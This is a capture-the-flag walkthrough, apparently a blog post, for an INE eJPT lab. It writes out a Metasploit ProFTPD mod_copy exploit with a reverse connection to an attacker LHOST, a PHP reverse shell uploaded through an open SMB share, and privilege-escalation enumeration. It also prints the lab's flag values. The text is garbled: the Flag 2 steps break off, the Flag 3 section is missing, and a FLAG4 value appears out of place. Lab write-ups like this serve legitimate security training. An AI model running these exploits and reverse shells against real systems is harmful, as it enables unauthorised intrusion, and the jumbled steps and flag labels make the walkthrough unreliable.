[eJPT] Host & Network Penetration Testing Exploitation CTF 3

Completing Skill Check Labs

Skill Check Labs are interactive, hands-on exercises designed to validate the knowledge and skills you’ve gained in this course through real-world scenarios. Each lab presents practical tasks that require you to apply what you’ve learned. Unlike other INE labs, solutions are not provided, challenging you to demonstrate your understanding and problem-solving abilities. Your performance is graded, allowing you to track progress and measure skill growth over time.

Lab Environment

Two machines are accessible at target1.ine.local and target2.ine.local. Enumerate the targets, identify and exploit the misconfigurations or vulnerabilities to capture the flags. The flag is in an MD5 hash format.

• Flag 1: A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.
• Flag 2: Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.
• Flag 3: A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?
• Flag 4: Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

Tools

• Metasploit
• Nmap
• Python3
• Netcat
• smbmap
• smbclient
• Netstat

The first two questions are based on target1.ine.local, and the next two questions are based on target2.ine.local.

Flag 1: A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

As usual, we start with an Nmap scan:

nmap -sC -sV target1.ine.local

Only two services are running, and our task is to identify which one is vulnerable. Let’s begin by analyzing the FTP service, which is running version 1.3.5.

To search for any known exploits for this version, we can query the searchsploit database using the command: searchsploit ProFTPD 1.3.5

msfconsole

search proftpd 1.3.5

We have identified this service as vulnerable, and an exploit is available in the Metasploit module, which is unix/ftp/proftpd_modcopy_exec.

Type options to list the parameters needed for the module.

We need to set SITEPATH to /var/www/html Because, after navigating to the website, web root is located at /var/www/html.

Set the variables

set RHOSTS target1.ine.local

set LHOST 192.212.180.2

set SITEPATH /var/www/html

run

As you can see, we have successfully created our session; type sessions to view it, and use sessions -u 1 to upgrade it to Meterpreter.

sessions -u 1

To interact with the Meterpreter session, type sessions -i 2.

Get Sema Hasmer’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

sessions -i 2

As mentioned in the question, our flag is stored in the root directory. To retrieve it, type cat /flag1.txt. This gives us our first flag:

cat /flag1.txt

FLAG1{0d04dc25b7084da0835a8fc963a084bb}

Flag 2: Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

As mentioned in the question, we need to enumerate local services on the target; use netstat -tuln 127.0.0.1 to view them.

netstat -tuln 127.0.0.1

Let’s interact with the service on port 8888 using nc 127.0.0.1 8888; to use the nc command, enter a shell by typing shell In the Meterpreter session, and to make it interactive, type

/bin/bash -i

Since HTTP and SMB services are running, we can use enum4linux to enumerate the SMB service with the command: enum4linux -a target2.ine.local.

As you can see, there is one share with mapping and listing enabled; let’s connect to it using: smbclient //target2.ine.local/site-uploads and enter a blank password when prompted.

Upload the file to SMB using the put command.

put php-reverse-shell.php

Open the browser and navigate to the location:

http://target2.ine.local/site-uploads/php-reverse-shell.php

FLAG4{0397ddd492fd4c1994424079a03e5b1d}

Flag 4: Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

We will start by checking the shells available on the system using the command: cat /etc/shells

To check the permissions each shell has, use the command:

cat /etc/shells | while read shell; do ls -l $shell 2>/dev/null; done.

The command cat /etc/shells | while read shell; do ls -l $shell 2>/dev/null; done reads each shell listed in /etc/shells, checks its permissions using ls -l, and suppresses any errors (e.g., inaccessible files) with 2>/dev/null.